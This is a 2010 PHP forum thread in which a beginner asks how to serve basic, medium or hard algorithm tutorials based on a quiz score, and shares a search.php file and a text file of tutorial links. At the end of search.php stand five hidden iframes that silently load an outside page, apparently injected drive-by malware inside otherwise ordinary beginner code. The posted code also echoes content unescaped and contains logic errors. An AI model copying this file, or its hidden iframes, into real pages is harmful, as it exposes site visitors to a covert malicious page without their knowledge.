Page 1 of 1
Online Assesment in PHP
Posted: Thu Mar 18, 2010 4:57 pm
by jsankar87
Hello,
I am doing Online Assesment module in an E-learning suite using PHP. My module should conduct an Online Test based on the result of that the user direct to three different categories like Beginner, Developer and Expert, I need coding assistance for this problem, at least i need coding assistance for Assesment part.
Re: Online Assesment in PHP
Posted: Thu Mar 18, 2010 5:25 pm
by M2tM
What specifically are you asking for? Are you hiring someone to help you? Is it a volunteer project? What exactly have you done so far? Are you with a company?
More information required.
Re: Online Assesment in PHP
Posted: Thu Mar 18, 2010 9:33 pm
by jsankar87
I m not working in a company, i m jus strted learning PHP, myself n my frnds r doing this s a sample prog. i want 2 know the logic for creating Quiz in PHP n Database connection code. I ve tried a lot but it s not working
Re: Online Assesment in PHP
Posted: Thu Mar 18, 2010 10:43 pm
by Luke
Dude help us help you. I realize English probably isn't your native language, so I understand you may be having trouble explaining your problem, but please, try and give us as much information as you can if you want us to help you. We don't read minds. Also, please do not use AOLSpeak. What I mean by that is using "2" instead of "to" and "u" instead of "you". It is difficult enough to understand each other using real words. Let's not complicate things with that kind of stuff.
Now, explain exactly what you are trying to do. Start small. What is the first thing you want to know how to do? It sounds like you want to start with just connecting to a database. Is that right? So post some code showing your attempts and explain to us what was confusing and why you were having trouble. Once we finish with that problem, we can move on to the next one and so on.
Online Assesment in PHP
Posted: Tue Mar 23, 2010 10:16 am
by jsankar87
I was developing e-learning in PHP. I want to know how we can retrieve the contents for e-learning based on the assessment For instance if the learner as scored 5 or less than 5 he must be given a basic content. If he has scored 5-8 he must be given a medium content. If he has scored more than 8 he must be given a hard content. These contents will be stored in a text file and must be retrieved from there.
Re: Online Assesment in PHP
Posted: Tue Mar 23, 2010 12:10 pm
by mikosiko
jsankar87 wrote:I was developing e-learning in PHP. I want to know how we can retrieve the contents for e-learning based on the assessment For instance if the learner as scored 5 or less than 5 he must be given a basic content. If he has scored 5-8 he must be given a medium content. If he has scored more than 8 he must be given a hard content. These contents will be stored in a text file and must be retrieved from there.
and where is the code that you have done so far?..... or are you asking for someone else to do that for you?
Re: Online Assesment in PHP
Posted: Wed Mar 24, 2010 2:31 am
by jsankar87
hi
i have attached a code(search.php) and a text file (ontology.txt). In this code i have extracted the contents from the text file. It will have two combo boxes one will display the topics of algorithms and the other will display the categories like basic,hard and medium so on selecting the topic and its category i ll get that particular content from the text file. Now how i need my code is i must include the assessment from the marks obtained through assessments the category and its corresponding content must be retrieved from that text file. For instance if the user has scored 5 or below 5 in assessment he must be given the basic content , if he has scored between 5-8 he must be given the medium content and above 8 then he must be given hard content. I have also attached the output of what i have done so far (output.bmp). This assessment part must be included in my code. I need your help on this.
Thank you
Bye.
Search.php
Code: Select all
<?php
$searchString = '';
$_SESSION['mainCategory'] = '';
$_SESSION['subCategory'] = '';
if(isset($_POST['submitForm']))
{
$fp = @fopen("ontology.txt","rb");
$mail_data = fread($fp,filesize("ontology.txt"));
fclose($fp);
//echo $mail_data;
$urlArray = explode('**', $mail_data);
for($i=0;$i<count($urlArray);$i++)
{
if((isset($_POST['mainCategory']))&&(isset($_POST['subCategory'])))
{
$_SESSION['mainCategory'] = $_POST['mainCategory'];
$_SESSION['subCategory'] = $_POST['subCategory'];
$myString = $_POST['mainCategory'].":".$_POST['subCategory'];
$val = strpos($urlArray[$i], $myString);
if($val != '')
{
$searchString = $urlArray[$i];
}
}
else if(isset($_POST['mainCategory']))
{
$_SESSION['mainCategory'] = $_POST['mainCategory'];
$myString = $_POST['mainCategory'];
//$val = substr($myString, 0, 5);
$val = strpos($urlArray[$i], $myString);
if($val != '')
{
$searchString = $urlArray[$i];
}
}
else if(isset($_POST['subCategory']))
{
$_SESSION['subCategory'] = $_POST['subCategory'];
$myString = $_POST['mainCategory'];
$val = strpos($urlArray[$i], $myString);
if($val != '')
{
$searchString = $urlArray[$i];
}
}
}
}
?>
<html>
<head><title>search</title></head>
<body>
<form name="searchForm" id="searchForm" action="" method="post">
<table width="50%" cellpadding="3" cellspacing="" border="0" bordercolor="#CC0000">
<tr><td colspan="3" height="20"></td></tr>
<tr><td colspan="3"><h2>Search Result Implementation</h2></td></tr>
<tr><td colspan="3" height="20"></td></tr>
<tr>
<td>
<select name="mainCategory">
<option>Select</option>
<option <?php if((isset($_SESSION['mainCategory']))&&($_SESSION['mainCategory'] == 'Divide and Conquer')) { echo 'selected'; }?>>Divide and Conquer</option>
<option <?php if((isset($_SESSION['mainCategory']))&&($_SESSION['mainCategory'] == 'Greedy Method')) { echo 'selected'; }?>>Greedy Method</option>
<option <?php if((isset($_SESSION['mainCategory']))&&($_SESSION['mainCategory'] == 'Graph Traversal')) { echo 'selected'; }?>>Graph Traversal</option>
</select>
</td>
<td></td>
<td>
<select name="subCategory">
<option>Select</option>
<option <?php if((isset($_SESSION['subCategory']))&&($_SESSION['subCategory'] == 'Basic')) { echo 'selected'; }?>>Basic</option>
<option <?php if((isset($_SESSION['subCategory']))&&($_SESSION['subCategory'] == 'Medium')) { echo 'selected'; }?>>Medium</option>
<option <?php if((isset($_SESSION['subCategory']))&&($_SESSION['subCategory'] == 'Hard')) { echo 'selected'; }?>>Hard</option>
</select>
</td>
</tr>
<tr><td colspan="3" height="10"></td></tr>
<tr><td colspan="3" align="center"><input type="submit" name="submitForm" value="search"></td></tr>
<tr><td colspan="3" height="50"></td></tr>
</table>
<table width="50%" cellpadding="3" cellspacing="" border="0" bordercolor="#CC0000">
<tr>
<td><h4>Result</h4></td>
</tr>
<tr>
<td>
<?php if($searchString != ''){ echo $searchString; } else { echo 'No search result found'; } ?>
</td>
</tr>
</table>
</form>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>
Output.txt
Code: Select all
Category
computerscience
computerscience:Algorithms
computerscience:Algorithms:Introduction
computerscience:Algorithms:Introduction:Algorithm definition:<a href="http://www.csc.liv.ac.uk/~ped/teachadmin/algor/intro.html">Algorithm Definition</a>
computerscience:Algorithms:Divide and Conquer:Basic
computerscience:Algorithms:Divide and Conquer:Basic:Binary search:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/divide.htm">Binary Search</a>
computerscience:Algorithms:Divide and Conquer:Basic:Merge sort:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/Sorting/mergeSort.htm">Merge Sort</a>
computerscience:Algorithms:Divide and Conquer:Basic:Quick sort:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/Sorting/quickSort.htm">Quick Sort</a>
**
computerscience:Algorithms:Divide and Conquer:Medium
computerscience:Algorithms:Divide and Conquer:Medium:Binary search:<a href="http://www.cse.ohio-state.edu/~gurari/course/cis680/cis680Ch18.html#QQ1-50-119">Binary Search</a>
computerscience:Algorithms:Divide and Conquer:Medium:Merge sort:<a href="http://www.cse.ohio-state.edu/~gurari/course/cis680/cis680Ch18.html#QQ1-50-119">Merge Sort</a>
computerscience:Algorithms:Divide and Conquer:Medium:Quick sort:<a href="http://www.cse.ohio-state.edu/~gurari/course/cis680/cis680Ch18.html#QQ1-50-119">Quick Sort</a>
**
computerscience:Algorithms:Divide and Conquer:Hard
computerscience:Algorithms:Divide and Conquer:Hard:Binary search:<a href="http://www.csc.liv.ac.uk/~ped/teachadmin/algor/d_and_c.html">Binary Search</a>
computerscience:Algorithms:Divide and Conquer:Hard:Merge sort:<a href="http://www.csc.liv.ac.uk/~ped/teachadmin/algor/d_and_c.html">Merge Sort</a>
computerscience:Algorithms:Divide and Conquer:Hard:Quick sort:<a href="http://www.csc.liv.ac.uk/~ped/teachadmin/algor/d_and_c.html">Quick Sort</a>
**
computerscience:Algorithms:Greedy Method:Basic
computerscience:Algorithms:Greedy Method:Basic:Knapsack Problem:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/Greedy/knapsackIntro.htm">Knapsack Problem</a>
computerscience:Algorithms:Greedy Method:Basic:Prims algorithm:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/Greedy/prim.htm">Prim's Algorithm</a>
computerscience:Algorithms:Greedy Method:Basic:Kruskals algorithm:<a href="http://students.ceid.upatras.gr/~papagel/project/kruskal.htm">Kruskal's Algorithm</a>
**
computerscience:Algorithms:Greedy Method:Medium
computerscience:Algorithms:Greedy Method:Medium:Knapsack Problem:<a href="http://www.brpreiss.com/books/opus4/html/page445.html">Knapsack Problem</a>
computerscience:Algorithms:Greedy Method:Medium:Prims algorithm:<a href="http://students.ceid.upatras.gr/~papagel/project/prim.htm">Prim's Algorithm</a>
computerscience:Algorithms:Greedy Method:Medium:Kruskals algorithm:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/GraphAlgor/kruskalAlgor.htm">Kruskal's Algorithm</a>
**
computerscience:Algorithms:Greedy Method:Hard
computerscience:Algorithms:Greedy Method:Hard:Knapsack Problem:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/Greedy/knapscakFrac.htm">Knapsack Problem</a>
computerscience:Algorithms:Greedy Method:Hard:Prims algorithm:<a href="http://www.brpreiss.com/books/opus5/html/page577.html">Prim's Algorithm</a>
computerscience:Algorithms:Greedy Method:Hard:Kruskals algorithm:<a href="http://www.krishami.com/programs/java/kruskal.aspx">Kruskal's Algorithm</a>
**
computerscience:Algorithms:Graph Traversal:Basic
computerscience:Algorithms:Graph Traversal:Basic:Breadth First Search:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/GraphAlgor/breadthSearch.htm">Breadth First Search</a>
computerscience:Algorithms:Graph Traversal:Basic:Depth First Search:<a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/GraphAlgor/depthSearch.htm">Depth First Search</a>
**
computerscience:Algorithms:Graph Traversal:Medium
computerscience:Algorithms:Graph Traversal:Medium:Breadth First Search:<a href="http://www.cse.ohio-state.edu/~gurari/course/cse693s04/cse693s04su50.html">Breadth First Search</a>
computerscience:Algorithms:Graph Traversal:Medium:Depth First Search:<a href="http://www.brpreiss.com/books/opus5/html/page549.html#49462">Depth First Search</a>
**
computerscience:Algorithms:Graph Traversal:Hard
computerscience:Algorithms:Graph Traversal:Hard:Breadth First Search:<a href="http://jhave.org/algorithms/graphs/depthbreadth/depth-breadth.shtml">Breadth First Search</a>
computerscience:Algorithms:Graph Traversal:Hard:Depth First Search:<a href="http://jhave.org/algorithms/graphs/depthbreadth/depth-breadth.shtml">Depth First Search</a>
**

- output.JPG (80.58 KiB) Viewed 727 times
** Be sure to use Code: Select all
tags when posting code in the forums. I have edited your post to reflect how we'd like to see it posted. - Luke **[/color]